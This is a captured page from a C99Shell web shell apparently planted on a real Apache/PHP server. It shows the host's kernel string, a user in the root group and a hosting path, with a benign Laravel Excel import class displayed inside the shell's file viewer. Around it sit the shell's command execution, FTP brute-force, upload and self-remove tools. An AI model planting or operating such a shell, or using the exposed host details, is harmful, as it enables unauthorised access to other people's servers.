!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Imports/   drwxr-xr-x
Free 28.3 GB of 117.98 GB (23.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DLTTemplateImport.php (1.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Imports;

use 
App\Models\DLTTemplate;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Maatwebsite\Excel\Concerns\ToCollection;
use 
Illuminate\Support\Collection;

class 
DLTTemplateImport implements ToCollection
{
    public 
$auth_user;
    public 
$custom_request_data;

    public function 
__construct($auth_user$customRequestData)
    {
        
$this->auth_user $auth_user;
        
$this->custom_request_data $customRequestData;
    }

    
/**
     * @param Collection $rows
     * @throws \Throwable
     */
    
public function collection(Collection $rows)
    {
        
DB::beginTransaction();

        try {
            
$data = [];
            
$custom_request_data $this->custom_request_data;

            foreach (
$rows as $i => $row) {
                if (
$i == 0) {
                    continue;
                }

                
$data[$i]['name'] = $row[isset($custom_request_data['name']) ? $custom_request_data['name'] : 0];
                
$data[$i]['dlt_template_id'] = $row[isset($custom_request_data['dlt_template_id']) ? $custom_request_data['dlt_template_id'] : 1];
                
$data[$i]['entity_id'] = $row[isset($custom_request_data['entity_id']) ? $custom_request_data['entity_id'] : 2];
                
$data[$i]['category'] = $row[isset($custom_request_data['category']) ? $custom_request_data['category'] : 3];
                
$data[$i]['message'] = $row[isset($custom_request_data['message']) ? $custom_request_data['message'] : 4] ?? '';
                
$data[$i]['customer_id'] = $this->auth_user->id;
            }
            if (
$data) {
                foreach (
array_chunk($data1000) as $contactChunk) {
                    
DLTTemplate::insert($contactChunk);
                }
            }

            
DB::commit();
        } catch (
\Exception $ex) {
            
DB::rollBack();
            
Log::error('Error importing row: ' json_encode($rows) . ' - ' $ex->getMessage());
            return 
null;
        }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--